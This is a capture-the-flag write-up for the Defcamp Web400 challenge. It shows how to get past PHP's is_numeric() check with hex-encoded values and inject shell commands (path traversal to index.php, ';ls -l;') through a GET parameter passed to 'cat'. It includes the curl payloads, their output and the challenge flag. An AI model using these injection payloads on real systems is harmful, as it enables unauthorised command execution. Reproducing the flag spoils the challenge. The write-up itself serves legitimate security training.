# Defcamp CTF - Web400
The website of the challenge is only displaying user number and their associated picture... Looking at the code we can see 
- For user 1 the picture src field is : `?id=1&usr=1`- For user 2 the picture src field is : `?id=2&usr=2`- ...
Strange... Do not think too fast to a SQLi (because it's not gonna be one) and let's try playing a little with `curl` and GET parameters : 
```bash$> curl "http://10.13.37.5/?id=2&usr=1"cat: images/2_6.jpg: No such file or directory```Ohhh... There is a direct call to `cat` from PHP. Let's try to make index.php source code appear :
```bash$> curl "http://10.13.37.5/?id=../index.php;&usr=1"ID or User ID must be numeric, obviously. Cheers from Bucharest, awesome girls, smoke free. :-) [...]```
Ok, the "is_numeric()" PHP function is certainely used. Let's try playing with float numbers :
```bash$> curl "http://10.13.37.5/?id=2.1123213&usr=1"cat: images/2.1123213_6.jpg: No such file or directory```Nice but not very useful. As I know of, there is no direct bypassing technique for the "is_numeric()" function, except when used in combination with MySQL (quite common) which support Hex Literals... So let's try with an hexadecimal number :
```bash$> curl "http://10.13.37.5/?id=0x1&usr=1"cat: images/_6.jpg: No such file or directory```The hexadecimal number given in parameter seem to be interpreted and don't appear anymore.
Now we can try with "../index.php" in hexadecimal : 
```bash$> curl "http://10.13.37.5/?id=0x2e2e2f696e6465782e7068703b&usr=1"cat: images/../index.php_6.jpg: No such file or directory```
Yeah ! but we have to remove "_6.jpg", since we are in a shell we can just add  ";" (0x3b) :
```bash$> curl "http://10.13.37.5/?id=0x2e2e2f696e6465782e7068703b&usr=1"```
Nice ! We have the index.php source code :
```php&1");} else {    echo '<h1>List of some users! I don\'t know CSS! :(</h1>';    $q = mysql_query('SELECT * FROM `images`');    while($row = mysql_fetch_array($q)) {        echo '<h3>'.$row['user'].'</h3>';        echo '';    }}sh: 1: _6.jpg: not found
```
Nothing interesting in the source code so let's try a ";ls -l;" : 
```bash$> curl "http://10.13.37.5/?id=0x3b6c73202d6c3b&usr=1"total 32-rw-r--r-- 1 root root    38 Oct  1 22:14 6e8218531e0580b6754b3e3be5252873.txtdrwxrwxr-x 2 root root  4096 Oct  1 22:14 images-rw-r--r-- 1 root root 21392 Oct  1 22:17 index.phpsh: 1: _6.jpg: not found```
Done ! We only have to get 6e8218531e0580b6754b3e3be5252873.txt (by using `HTTP://x.x.x.x/6e8218531e0580b6754b3e3be5252873.txt` or with `cat` in the command injection...)
**DCTF{19b1f9f19688da85ec52a735c8da0dd3}**